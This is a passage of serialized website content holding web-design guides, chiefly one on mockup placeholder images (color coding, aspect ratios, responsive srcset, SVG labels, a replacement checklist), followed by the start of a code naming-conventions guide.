var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":155344},[155345,155346,155352,155357,155358,155359,155360,155361],{"id":154969,"depth":337,"text":154970},{"id":154979,"depth":337,"text":154980,"children":155347},[155348,155349,155350,155351],{"id":154986,"depth":343,"text":154987},{"id":154993,"depth":343,"text":154994},{"id":155000,"depth":343,"text":155001},{"id":155007,"depth":343,"text":155008},{"id":155014,"depth":337,"text":155015,"children":155353},[155354,155355,155356],{"id":155080,"depth":343,"text":155081},{"id":155090,"depth":343,"text":155091},{"id":155106,"depth":343,"text":155107},{"id":155160,"depth":337,"text":155161},{"id":155251,"depth":337,"text":155252},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how mirror text works, where to use it, and how it differs from reversed text. Practical guide for designers and content creators.",{"keywords":155364},[155365,155366],"text-reverser","mirror-text-guide","\u002Fguides\u002Fmirror-text-guide",{"title":154964,"description":155362},"guides\u002Fmirror-text-guide","FaNquIpgBneuQgk-70XH22_fQG722LqTH8kUL0tQL9g",{"id":155372,"title":93746,"body":155373,"date":2070,"description":156376,"extension":361,"meta":156377,"navigation":363,"path":93745,"readingTime":1747,"seo":156380,"stem":156381,"__hash__":156382},"guides\u002Fguides\u002Fmockup-image-best-practices.md",{"type":8,"value":155374,"toc":156355},[155375,155379,155382,155385,155389,155392,155466,155469,155621,155625,155628,155632,155646,155699,155759,155769,155773,155776,155837,155847,155930,155939,155943,155946,155950,155956,155958,155975,155978,155982,156188,156192,156196,156199,156214,156218,156221,156225,156228,156232,156235,156283,156306,156308,156328,156330,156336,156338,156352],[11,155376,155378],{"id":155377},"why-mockup-image-quality-matters","Why Mockup Image Quality Matters",[16,155380,155381],{},"A mockup is only as convincing as the images it contains. Sloppy placeholders — mismatched sizes, random photos, no labels — undermine stakeholder trust and hide layout problems. Professional mockup images follow conventions that communicate intent, reduce ambiguity, and make the transition to production smoother.",[16,155383,155384],{},"This guide covers techniques that experienced designers use to make mockups clear, consistent, and developer-friendly.",[11,155386,155388],{"id":155387},"color-coded-placeholders-by-section","Color-Coded Placeholders by Section",[16,155390,155391],{},"One of the most effective techniques is assigning distinct background colors to placeholder images based on their UI section. This makes the structure of a page immediately visible at a glance.",[193,155393,155394,155405],{},[196,155395,155396],{},[199,155397,155398,155400,155403],{},[202,155399,128262],{},[202,155401,155402],{},"Suggested Color",[202,155404,4031],{},[211,155406,155407,155416,155426,155437,155447,155457],{},[199,155408,155409,155412,155414],{},[216,155410,155411],{},"Hero \u002F Banner",[216,155413,4289],{},[216,155415,4147],{},[199,155417,155418,155421,155423],{},[216,155419,155420],{},"Product Cards",[216,155422,4247],{},[216,155424,155425],{},"#22c55e",[199,155427,155428,155431,155434],{},[216,155429,155430],{},"Testimonials",[216,155432,155433],{},"Purple",[216,155435,155436],{},"#a855f7",[199,155438,155439,155442,155445],{},[216,155440,155441],{},"Footer",[216,155443,155444],{},"Gray",[216,155446,4081],{},[199,155448,155449,155452,155455],{},[216,155450,155451],{},"Navigation",[216,155453,155454],{},"Dark slate",[216,155456,2243],{},[199,155458,155459,155462,155464],{},[216,155460,155461],{},"Call-to-Action",[216,155463,113755],{},[216,155465,51156],{},[16,155467,155468],{},"When a developer sees a blue placeholder, they know it maps to the hero slot. When they see green, they know it is a product card image. This removes guesswork from the handoff process.",[135,155470,155472],{"className":6417,"code":155471,"language":6419,"meta":141,"style":141},"\u003C!-- Color-coded placeholder for hero section -->\n\u003Csvg width=\"1600\" height=\"900\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n  \u003Crect width=\"100%\" height=\"100%\" fill=\"#3b82f6\"\u002F>\n  \u003Ctext x=\"50%\" y=\"50%\" text-anchor=\"middle\"\n        dominant-baseline=\"middle\"\n        font-family=\"sans-serif\" font-size=\"32\" fill=\"white\">\n    HERO — 1600 × 900\n  \u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[143,155473,155474,155479,155507,155535,155564,155573,155600,155605,155613],{"__ignoreMap":141},[1560,155475,155476],{"class":1562,"line":1563},[1560,155477,155478],{"class":1649},"\u003C!-- Color-coded placeholder for hero section -->\n",[1560,155480,155481,155483,155485,155487,155489,155492,155494,155496,155499,155501,155503,155505],{"class":1562,"line":337},[1560,155482,6431],{"class":1570},[1560,155484,11192],{"class":2484},[1560,155486,10649],{"class":1566},[1560,155488,7297],{"class":1570},[1560,155490,155491],{"class":5634},"\"1600\"",[1560,155493,10657],{"class":1566},[1560,155495,7297],{"class":1570},[1560,155497,155498],{"class":5634},"\"900\"",[1560,155500,12261],{"class":1566},[1560,155502,7297],{"class":1570},[1560,155504,12266],{"class":5634},[1560,155506,6441],{"class":1570},[1560,155508,155509,155511,155514,155516,155518,155520,155522,155524,155526,155528,155530,155533],{"class":1562,"line":343},[1560,155510,11223],{"class":1570},[1560,155512,155513],{"class":2484},"rect",[1560,155515,10649],{"class":1566},[1560,155517,7297],{"class":1570},[1560,155519,147826],{"class":5634},[1560,155521,10657],{"class":1566},[1560,155523,7297],{"class":1570},[1560,155525,147826],{"class":5634},[1560,155527,11203],{"class":1566},[1560,155529,7297],{"class":1570},[1560,155531,155532],{"class":5634},"\"#3b82f6\"",[1560,155534,11237],{"class":1570},[1560,155536,155537,155539,155541,155544,155546,155549,155552,155554,155556,155559,155561],{"class":1562,"line":365},[1560,155538,11223],{"class":1570},[1560,155540,140],{"class":2484},[1560,155542,155543],{"class":1566}," x",[1560,155545,7297],{"class":1570},[1560,155547,155548],{"class":5634},"\"50%\"",[1560,155550,155551],{"class":1566}," y",[1560,155553,7297],{"class":1570},[1560,155555,155548],{"class":5634},[1560,155557,155558],{"class":1566}," text-anchor",[1560,155560,7297],{"class":1570},[1560,155562,155563],{"class":5634},"\"middle\"\n",[1560,155565,155566,155569,155571],{"class":1562,"line":889},[1560,155567,155568],{"class":1566},"        dominant-baseline",[1560,155570,7297],{"class":1570},[1560,155572,155563],{"class":5634},[1560,155574,155575,155578,155580,155583,155586,155588,155591,155593,155595,155598],{"class":1562,"line":1710},[1560,155576,155577],{"class":1566},"        font-family",[1560,155579,7297],{"class":1570},[1560,155581,155582],{"class":5634},"\"sans-serif\"",[1560,155584,155585],{"class":1566}," font-size",[1560,155587,7297],{"class":1570},[1560,155589,155590],{"class":5634},"\"32\"",[1560,155592,11203],{"class":1566},[1560,155594,7297],{"class":1570},[1560,155596,155597],{"class":5634},"\"white\"",[1560,155599,6441],{"class":1570},[1560,155601,155602],{"class":1562,"line":1717},[1560,155603,155604],{"class":1570},"    HERO — 1600 × 900\n",[1560,155606,155607,155609,155611],{"class":1562,"line":1747},[1560,155608,12331],{"class":1570},[1560,155610,140],{"class":2484},[1560,155612,6441],{"class":1570},[1560,155614,155615,155617,155619],{"class":1562,"line":2507},[1560,155616,11242],{"class":1570},[1560,155618,11192],{"class":2484},[1560,155620,6441],{"class":1570},[11,155622,155624],{"id":155623},"aspect-ratio-consistency","Aspect Ratio Consistency",[16,155626,155627],{},"Inconsistent aspect ratios across similar components create visual noise. If product cards use a 4:3 ratio on one row and 1:1 on the next, the layout looks disorganized — and the production images will look just as inconsistent.",[33,155629,155631],{"id":155630},"rules-to-follow","Rules to Follow",[41,155633,155634,155637,155643],{},[44,155635,155636],{},"Define one aspect ratio per component type and document it",[44,155638,83446,155639,155642],{},[143,155640,155641],{},"aspect-ratio"," to enforce ratios during development",[44,155644,155645],{},"Test with images that are slightly off-ratio to verify cropping behavior",[135,155647,155649],{"className":1554,"code":155648,"language":1556,"meta":141,"style":141},".product-card-img {\n  aspect-ratio: 4 \u002F 3;\n  object-fit: cover;\n  width: 100%;\n}\n",[143,155650,155651,155658,155673,155683,155695],{"__ignoreMap":141},[1560,155652,155653,155656],{"class":1562,"line":1563},[1560,155654,155655],{"class":1566},".product-card-img",[1560,155657,1571],{"class":1570},[1560,155659,155660,155663,155665,155667,155669,155671],{"class":1562,"line":337},[1560,155661,155662],{"class":1576},"  aspect-ratio",[1560,155664,1663],{"class":1570},[1560,155666,12546],{"class":1576},[1560,155668,14237],{"class":1570},[1560,155670,17821],{"class":1576},[1560,155672,2228],{"class":1570},[1560,155674,155675,155677,155679,155681],{"class":1562,"line":343},[1560,155676,46796],{"class":1576},[1560,155678,1663],{"class":1570},[1560,155680,46801],{"class":1576},[1560,155682,2228],{"class":1570},[1560,155684,155685,155687,155689,155691,155693],{"class":1562,"line":365},[1560,155686,12386],{"class":1576},[1560,155688,1663],{"class":1570},[1560,155690,18114],{"class":1576},[1560,155692,17990],{"class":1669},[1560,155694,2228],{"class":1570},[1560,155696,155697],{"class":1562,"line":889},[1560,155698,1585],{"class":1570},[135,155700,155702],{"className":6417,"code":155701,"language":6419,"meta":141,"style":141},"\u003C!-- The browser reserves correct space even before the image loads -->\n\u003Cimg class=\"product-card-img\"\n     src=\"\u002Fplaceholder-product.png\"\n     alt=\"Product image placeholder\"\n     width=\"400\" height=\"300\">\n",[143,155703,155704,155709,155722,155732,155741],{"__ignoreMap":141},[1560,155705,155706],{"class":1562,"line":1563},[1560,155707,155708],{"class":1649},"\u003C!-- The browser reserves correct space even before the image loads -->\n",[1560,155710,155711,155713,155715,155717,155719],{"class":1562,"line":337},[1560,155712,6431],{"class":1570},[1560,155714,10628],{"class":2484},[1560,155716,11423],{"class":1566},[1560,155718,7297],{"class":1570},[1560,155720,155721],{"class":5634},"\"product-card-img\"\n",[1560,155723,155724,155727,155729],{"class":1562,"line":343},[1560,155725,155726],{"class":1566},"     src",[1560,155728,7297],{"class":1570},[1560,155730,155731],{"class":5634},"\"\u002Fplaceholder-product.png\"\n",[1560,155733,155734,155736,155738],{"class":1562,"line":365},[1560,155735,10641],{"class":1566},[1560,155737,7297],{"class":1570},[1560,155739,155740],{"class":5634},"\"Product image placeholder\"\n",[1560,155742,155743,155746,155748,155750,155752,155754,155757],{"class":1562,"line":889},[1560,155744,155745],{"class":1566},"     width",[1560,155747,7297],{"class":1570},[1560,155749,126364],{"class":5634},[1560,155751,10657],{"class":1566},[1560,155753,7297],{"class":1570},[1560,155755,155756],{"class":5634},"\"300\"",[1560,155758,6441],{"class":1570},[16,155760,421,155761,155763,155764,1856,155766,155768],{},[143,155762,155641],{}," CSS property works alongside ",[143,155765,1870],{},[143,155767,1873],{}," attributes. The attribute values set the intrinsic ratio; the CSS property ensures the element respects it even when the source image has different proportions.",[11,155770,155772],{"id":155771},"responsive-breakpoint-planning","Responsive Breakpoint Planning",[16,155774,155775],{},"Placeholder images must account for how images scale across breakpoints. A 1600 px wide hero image works on desktop but wastes bandwidth on mobile. Plan sizes for each major breakpoint.",[193,155777,155778,155793],{},[196,155779,155780],{},[199,155781,155782,155784,155787,155790],{},[202,155783,109507],{},[202,155785,155786],{},"Hero Width",[202,155788,155789],{},"Card Width",[202,155791,155792],{},"Avatar",[211,155794,155795,155809,155823],{},[199,155796,155797,155800,155803,155806],{},[216,155798,155799],{},"Mobile (\u003C640px)",[216,155801,155802],{},"640 px",[216,155804,155805],{},"320 px",[216,155807,155808],{},"64 px",[199,155810,155811,155814,155817,155820],{},[216,155812,155813],{},"Tablet (640–1024px)",[216,155815,155816],{},"1024 px",[216,155818,155819],{},"400 px",[216,155821,155822],{},"96 px",[199,155824,155825,155828,155831,155834],{},[216,155826,155827],{},"Desktop (>1024px)",[216,155829,155830],{},"1600 px",[216,155832,155833],{},"480 px",[216,155835,155836],{},"128 px",[16,155838,18550,155839,155842,155843,155846],{},[143,155840,155841],{},"\u003Cpicture>"," element or ",[143,155844,155845],{},"srcset"," to serve appropriate sizes:",[135,155848,155850],{"className":6417,"code":155849,"language":6419,"meta":141,"style":141},"\u003Cimg srcset=\"\u002Fplaceholder-hero-640.jpg 640w,\n             \u002Fplaceholder-hero-1024.jpg 1024w,\n             \u002Fplaceholder-hero-1600.jpg 1600w\"\n     sizes=\"(max-width: 640px) 100vw,\n            (max-width: 1024px) 100vw,\n            1600px\"\n     src=\"\u002Fplaceholder-hero-1600.jpg\"\n     alt=\"Hero image placeholder\"\n     width=\"1600\" height=\"900\">\n",[143,155851,155852,155866,155871,155876,155886,155891,155896,155905,155914],{"__ignoreMap":141},[1560,155853,155854,155856,155858,155861,155863],{"class":1562,"line":1563},[1560,155855,6431],{"class":1570},[1560,155857,10628],{"class":2484},[1560,155859,155860],{"class":1566}," srcset",[1560,155862,7297],{"class":1570},[1560,155864,155865],{"class":5634},"\"\u002Fplaceholder-hero-640.jpg 640w,\n",[1560,155867,155868],{"class":1562,"line":337},[1560,155869,155870],{"class":5634},"             \u002Fplaceholder-hero-1024.jpg 1024w,\n",[1560,155872,155873],{"class":1562,"line":343},[1560,155874,155875],{"class":5634},"             \u002Fplaceholder-hero-1600.jpg 1600w\"\n",[1560,155877,155878,155881,155883],{"class":1562,"line":365},[1560,155879,155880],{"class":1566},"     sizes",[1560,155882,7297],{"class":1570},[1560,155884,155885],{"class":5634},"\"(max-width: 640px) 100vw,\n",[1560,155887,155888],{"class":1562,"line":889},[1560,155889,155890],{"class":5634},"            (max-width: 1024px) 100vw,\n",[1560,155892,155893],{"class":1562,"line":1710},[1560,155894,155895],{"class":5634},"            1600px\"\n",[1560,155897,155898,155900,155902],{"class":1562,"line":1717},[1560,155899,155726],{"class":1566},[1560,155901,7297],{"class":1570},[1560,155903,155904],{"class":5634},"\"\u002Fplaceholder-hero-1600.jpg\"\n",[1560,155906,155907,155909,155911],{"class":1562,"line":1747},[1560,155908,10641],{"class":1566},[1560,155910,7297],{"class":1570},[1560,155912,155913],{"class":5634},"\"Hero image placeholder\"\n",[1560,155915,155916,155918,155920,155922,155924,155926,155928],{"class":1562,"line":2507},[1560,155917,155745],{"class":1566},[1560,155919,7297],{"class":1570},[1560,155921,155491],{"class":5634},[1560,155923,10657],{"class":1566},[1560,155925,7297],{"class":1570},[1560,155927,155498],{"class":5634},[1560,155929,6441],{"class":1570},[16,155931,155932,155933,1856,155935,155938],{},"Testing responsive images with correctly sized placeholders ensures your ",[143,155934,155845],{},[143,155936,155937],{},"sizes"," attributes work before real assets arrive.",[11,155940,155942],{"id":155941},"communicating-with-developers-through-labels","Communicating with Developers Through Labels",[16,155944,155945],{},"Placeholder labels bridge the gap between design intent and implementation. A label should answer three questions: what is this, what size is it, and where does it come from?",[33,155947,155949],{"id":155948},"label-convention","Label Convention",[135,155951,155954],{"className":155952,"code":155953,"language":140},[138],"[Section] — [Width]×[Height] — [Source]\n",[143,155955,155953],{"__ignoreMap":141},[16,155957,112278],{},[41,155959,155960,155965,155970],{},[44,155961,155962],{},[143,155963,155964],{},"HERO — 1600×900 — CMS",[44,155966,155967],{},[143,155968,155969],{},"PRODUCT — 400×400 — PIM",[44,155971,155972],{},[143,155973,155974],{},"AVATAR — 128×128 — Upload",[16,155976,155977],{},"Including the source tells developers whether the image comes from a CMS, a product information management system, or user uploads. This affects how the front-end fetches and caches the image.",[33,155979,155981],{"id":155980},"svg-label-template","SVG Label Template",[135,155983,155985],{"className":6417,"code":155984,"language":6419,"meta":141,"style":141},"\u003Csvg width=\"400\" height=\"300\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n  \u003Crect width=\"100%\" height=\"100%\" fill=\"#22c55e\"\u002F>\n  \u003Ctext x=\"50%\" y=\"45%\" text-anchor=\"middle\"\n        dominant-baseline=\"middle\"\n        font-family=\"monospace\" font-size=\"18\" fill=\"white\">\n    PRODUCT\n  \u003C\u002Ftext>\n  \u003Ctext x=\"50%\" y=\"58%\" text-anchor=\"middle\"\n        dominant-baseline=\"middle\"\n        font-family=\"monospace\" font-size=\"14\" fill=\"rgba(255,255,255,0.8)\">\n    400 × 300 — PIM\n  \u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[143,155986,155987,156013,156040,156065,156073,156097,156102,156110,156135,156143,156167,156172,156180],{"__ignoreMap":141},[1560,155988,155989,155991,155993,155995,155997,155999,156001,156003,156005,156007,156009,156011],{"class":1562,"line":1563},[1560,155990,6431],{"class":1570},[1560,155992,11192],{"class":2484},[1560,155994,10649],{"class":1566},[1560,155996,7297],{"class":1570},[1560,155998,126364],{"class":5634},[1560,156000,10657],{"class":1566},[1560,156002,7297],{"class":1570},[1560,156004,155756],{"class":5634},[1560,156006,12261],{"class":1566},[1560,156008,7297],{"class":1570},[1560,156010,12266],{"class":5634},[1560,156012,6441],{"class":1570},[1560,156014,156015,156017,156019,156021,156023,156025,156027,156029,156031,156033,156035,156038],{"class":1562,"line":337},[1560,156016,11223],{"class":1570},[1560,156018,155513],{"class":2484},[1560,156020,10649],{"class":1566},[1560,156022,7297],{"class":1570},[1560,156024,147826],{"class":5634},[1560,156026,10657],{"class":1566},[1560,156028,7297],{"class":1570},[1560,156030,147826],{"class":5634},[1560,156032,11203],{"class":1566},[1560,156034,7297],{"class":1570},[1560,156036,156037],{"class":5634},"\"#22c55e\"",[1560,156039,11237],{"class":1570},[1560,156041,156042,156044,156046,156048,156050,156052,156054,156056,156059,156061,156063],{"class":1562,"line":343},[1560,156043,11223],{"class":1570},[1560,156045,140],{"class":2484},[1560,156047,155543],{"class":1566},[1560,156049,7297],{"class":1570},[1560,156051,155548],{"class":5634},[1560,156053,155551],{"class":1566},[1560,156055,7297],{"class":1570},[1560,156057,156058],{"class":5634},"\"45%\"",[1560,156060,155558],{"class":1566},[1560,156062,7297],{"class":1570},[1560,156064,155563],{"class":5634},[1560,156066,156067,156069,156071],{"class":1562,"line":365},[1560,156068,155568],{"class":1566},[1560,156070,7297],{"class":1570},[1560,156072,155563],{"class":5634},[1560,156074,156075,156077,156079,156082,156084,156086,156089,156091,156093,156095],{"class":1562,"line":889},[1560,156076,155577],{"class":1566},[1560,156078,7297],{"class":1570},[1560,156080,156081],{"class":5634},"\"monospace\"",[1560,156083,155585],{"class":1566},[1560,156085,7297],{"class":1570},[1560,156087,156088],{"class":5634},"\"18\"",[1560,156090,11203],{"class":1566},[1560,156092,7297],{"class":1570},[1560,156094,155597],{"class":5634},[1560,156096,6441],{"class":1570},[1560,156098,156099],{"class":1562,"line":1710},[1560,156100,156101],{"class":1570},"    PRODUCT\n",[1560,156103,156104,156106,156108],{"class":1562,"line":1717},[1560,156105,12331],{"class":1570},[1560,156107,140],{"class":2484},[1560,156109,6441],{"class":1570},[1560,156111,156112,156114,156116,156118,156120,156122,156124,156126,156129,156131,156133],{"class":1562,"line":1747},[1560,156113,11223],{"class":1570},[1560,156115,140],{"class":2484},[1560,156117,155543],{"class":1566},[1560,156119,7297],{"class":1570},[1560,156121,155548],{"class":5634},[1560,156123,155551],{"class":1566},[1560,156125,7297],{"class":1570},[1560,156127,156128],{"class":5634},"\"58%\"",[1560,156130,155558],{"class":1566},[1560,156132,7297],{"class":1570},[1560,156134,155563],{"class":5634},[1560,156136,156137,156139,156141],{"class":1562,"line":2507},[1560,156138,155568],{"class":1566},[1560,156140,7297],{"class":1570},[1560,156142,155563],{"class":5634},[1560,156144,156145,156147,156149,156151,156153,156155,156158,156160,156162,156165],{"class":1562,"line":2524},[1560,156146,155577],{"class":1566},[1560,156148,7297],{"class":1570},[1560,156150,156081],{"class":5634},[1560,156152,155585],{"class":1566},[1560,156154,7297],{"class":1570},[1560,156156,156157],{"class":5634},"\"14\"",[1560,156159,11203],{"class":1566},[1560,156161,7297],{"class":1570},[1560,156163,156164],{"class":5634},"\"rgba(255,255,255,0.8)\"",[1560,156166,6441],{"class":1570},[1560,156168,156169],{"class":1562,"line":2529},[1560,156170,156171],{"class":1570},"    400 × 300 — PIM\n",[1560,156173,156174,156176,156178],{"class":1562,"line":2534},[1560,156175,12331],{"class":1570},[1560,156177,140],{"class":2484},[1560,156179,6441],{"class":1570},[1560,156181,156182,156184,156186],{"class":1562,"line":2542},[1560,156183,11242],{"class":1570},[1560,156185,11192],{"class":2484},[1560,156187,6441],{"class":1570},[11,156189,156191],{"id":156190},"design-tool-integration","Design Tool Integration",[33,156193,156195],{"id":156194},"figma","Figma",[16,156197,156198],{},"Figma supports image fills on any frame or shape. To maintain placeholder consistency across a project:",[77,156200,156201,156204,156207],{},[44,156202,156203],{},"Create a component library with placeholder frames at standard sizes",[44,156205,156206],{},"Use Figma variables for placeholder colors so they stay in sync",[44,156208,156209,156210,156213],{},"Plugin recommendation: ",[47,156211,156212],{},"Content Reel"," for bulk-inserting labeled placeholders",[33,156215,156217],{"id":156216},"sketch","Sketch",[16,156219,156220],{},"Sketch handles placeholders through shared styles and symbols. Create a symbol for each image slot type (hero, card, avatar) with preset dimensions and a text override for the label.",[33,156222,156224],{"id":156223},"adobe-xd","Adobe XD",[16,156226,156227],{},"XD's Repeat Grid feature pairs well with placeholder images. Drop a set of correctly sized placeholder images into the grid, and XD repeats them across the layout automatically.",[11,156229,156231],{"id":156230},"replacing-placeholders-in-production","Replacing Placeholders in Production",[16,156233,156234],{},"The transition from placeholders to production images is a common failure point. Use this checklist to prevent issues:",[77,156236,156237,156248,156256,156262,156271,156277],{},[44,156238,156239,156242,156243,1459,156245,156247],{},[47,156240,156241],{},"Audit every image slot"," — list every ",[143,156244,10900],{},[143,156246,155841],{},", and background-image in the project",[44,156249,156250,156253,156254],{},[47,156251,156252],{},"Verify dimensions"," — confirm production images match placeholder dimensions or use ",[143,156255,75258],{},[44,156257,156258,156261],{},[47,156259,156260],{},"Compress assets"," — run all production images through a compression tool before deploying",[44,156263,156264,156267,156268,156270],{},[47,156265,156266],{},"Check lazy loading"," — ensure ",[143,156269,13179],{}," works correctly with the new source URLs",[44,156272,156273,156276],{},[47,156274,156275],{},"Validate alt text"," — placeholder alt text like \"Placeholder hero image\" must be replaced with descriptive alt text",[44,156278,156279,156282],{},[47,156280,156281],{},"Remove placeholder URLs"," — scan for any references to placeholder API domains",[135,156284,156286],{"className":6951,"code":156285,"language":6953,"meta":141,"style":141},"# Quick grep for leftover placeholder URLs\ngrep -r \"picsum.photos\\|placehold.co\\|via.placeholder.com\" app\u002F\n",[143,156287,156288,156293],{"__ignoreMap":141},[1560,156289,156290],{"class":1562,"line":1563},[1560,156291,156292],{"class":1649},"# Quick grep for leftover placeholder URLs\n",[1560,156294,156295,156297,156300,156303],{"class":1562,"line":337},[1560,156296,8994],{"class":1566},[1560,156298,156299],{"class":1576}," -r",[1560,156301,156302],{"class":5634}," \"picsum.photos\\|placehold.co\\|via.placeholder.com\"",[1560,156304,156305],{"class":5634}," app\u002F\n",[11,156307,1355],{"id":1354},[41,156309,156310,156313,156316,156319,156322,156325],{},[44,156311,156312],{},"Color-coded placeholders make page structure visible at a glance",[44,156314,156315],{},"Enforce one aspect ratio per component type and document it",[44,156317,156318],{},"Plan placeholder sizes for mobile, tablet, and desktop breakpoints",[44,156320,156321],{},"Label placeholders with section name, dimensions, and image source",[44,156323,156324],{},"Use design tool components and variables to keep placeholders consistent across a project",[44,156326,156327],{},"Follow a structured checklist when transitioning from placeholders to production images",[11,156329,286],{"id":285},[16,156331,156332,156333,156335],{},"Create labeled, color-coded placeholder images with exact dimensions using our free ",[98,156334,93567],{"href":93580},". Set width, height, background color, and overlay text in seconds.",[11,156337,321],{"id":320},[41,156339,156340,156344,156348],{},[44,156341,156342],{},[98,156343,93740],{"href":93739},[44,156345,156346],{},[98,156347,93261],{"href":93779},[44,156349,156350],{},[98,156351,12173],{"href":12172},[2043,156353,156354],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":156356},[156357,156358,156359,156362,156363,156367,156372,156373,156374,156375],{"id":155377,"depth":337,"text":155378},{"id":155387,"depth":337,"text":155388},{"id":155623,"depth":337,"text":155624,"children":156360},[156361],{"id":155630,"depth":343,"text":155631},{"id":155771,"depth":337,"text":155772},{"id":155941,"depth":337,"text":155942,"children":156364},[156365,156366],{"id":155948,"depth":343,"text":155949},{"id":155980,"depth":343,"text":155981},{"id":156190,"depth":337,"text":156191,"children":156368},[156369,156370,156371],{"id":156194,"depth":343,"text":156195},{"id":156216,"depth":343,"text":156217},{"id":156223,"depth":343,"text":156224},{"id":156230,"depth":337,"text":156231},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Professional techniques for using mockup images effectively. Size conventions, color coding, and workflow tips for designers.",{"immutable":363,"keywords":156378},[93777,156379],"mockup-image-best-practices",{"title":93746,"description":156376},"guides\u002Fmockup-image-best-practices","Eob3ARHHhiVdZ1aoEVxs2MDG5aWlqcQXKy3lsxLKzzY",{"id":156384,"title":156385,"body":156386,"date":2070,"description":156943,"extension":361,"meta":156944,"navigation":363,"path":23826,"readingTime":1710,"seo":156945,"stem":156946,"__hash__":156947},"guides\u002Fguides\u002Fnaming-conventions-guide.md","Naming Conventions Guide: Choosing the Right Case for Your Code",{"type":8,"value":156387,"toc":156923},[156388,156392,156395,156405,156409,156412,156415,156418,156459,156465,156468,156471,156488,156493,156495,156498,156523,156528,156530,156533,156551,156556,156560,156563,156681,156685,156688,156697,156729,156749,156753,156756,156760,156763,156769,156772,156776,156779,156808,156811,156815,156818,156850,156854,156857,156863,156866,156868,156888,156890,156893,156907,156909,156920],[11,156389,156391],{"id":156390},"why-naming-conventions-matter","Why Naming Conventions Matter",[16,156393,156394],{},"Naming conventions are not cosmetic preferences. They affect how quickly you read code, how easily you spot bugs, and how smoothly your team collaborates. A consistent naming style lets your brain skip the \"decode\" step and focus on the logic.",[16,156396,156397,156398,156400,156401,156404],{},"Inconsistent naming wastes time. When one developer writes ",[143,156399,34987],{}," and another writes ",[143,156402,156403],{},"userName",", every reader pauses to check whether they refer to the same thing. Multiply that pause across thousands of variable reads per day, and the cost is real.",[11,156406,156408],{"id":156407},"the-four-main-naming-styles","The Four Main Naming Styles",[16,156410,156411],{},"Most programming languages use one of four capitalization conventions. Each has a distinct look and common use cases.",[33,156413,23337],{"id":156414},"camelcase",[16,156416,156417],{},"Words are joined without separators, and every word after the first starts with an uppercase letter.",[135,156419,156421],{"className":1607,"code":156420,"language":1609,"meta":141,"style":141},"let firstName = \"Alice\";\nfunction calculateTotal() {}\nconst maxRetryCount = 3;\n",[143,156422,156423,156437,156446],{"__ignoreMap":141},[1560,156424,156425,156427,156430,156432,156435],{"class":1562,"line":1563},[1560,156426,41680],{"class":1669},[1560,156428,156429],{"class":1570}," firstName ",[1560,156431,7297],{"class":1669},[1560,156433,156434],{"class":5634}," \"Alice\"",[1560,156436,2228],{"class":1570},[1560,156438,156439,156441,156443],{"class":1562,"line":337},[1560,156440,8648],{"class":1669},[1560,156442,134540],{"class":1566},[1560,156444,156445],{"class":1570},"() {}\n",[1560,156447,156448,156450,156453,156455,156457],{"class":1562,"line":343},[1560,156449,8180],{"class":1669},[1560,156451,156452],{"class":1576}," maxRetryCount",[1560,156454,8186],{"class":1669},[1560,156456,48433],{"class":1576},[1560,156458,2228],{"class":1570},[16,156460,156461,156464],{},[47,156462,156463],{},"Used by:"," JavaScript, TypeScript, Java, C#, Go (for private fields)",[33,156466,27917],{"id":156467},"pascalcase",[16,156469,156470],{},"Every word starts with an uppercase letter, including the first one.",[135,156472,156476],{"className":156473,"code":156474,"language":156475,"meta":141,"style":141},"language-csharp shiki shiki-themes github-light github-dark","public class UserProfile {}\npublic void ProcessOrder() {}\n","csharp",[143,156477,156478,156483],{"__ignoreMap":141},[1560,156479,156480],{"class":1562,"line":1563},[1560,156481,156482],{},"public class UserProfile {}\n",[1560,156484,156485],{"class":1562,"line":337},[1560,156486,156487],{},"public void ProcessOrder() {}\n",[16,156489,156490,156492],{},[47,156491,156463],{}," C#, Java (classes), TypeScript (types, interfaces, components), Go (exported identifiers)",[33,156494,23347],{"id":23347},[16,156496,156497],{},"Words are joined with underscores, all lowercase.",[135,156499,156501],{"className":8259,"code":156500,"language":8261,"meta":141,"style":141},"first_name = \"Alice\"\ndef 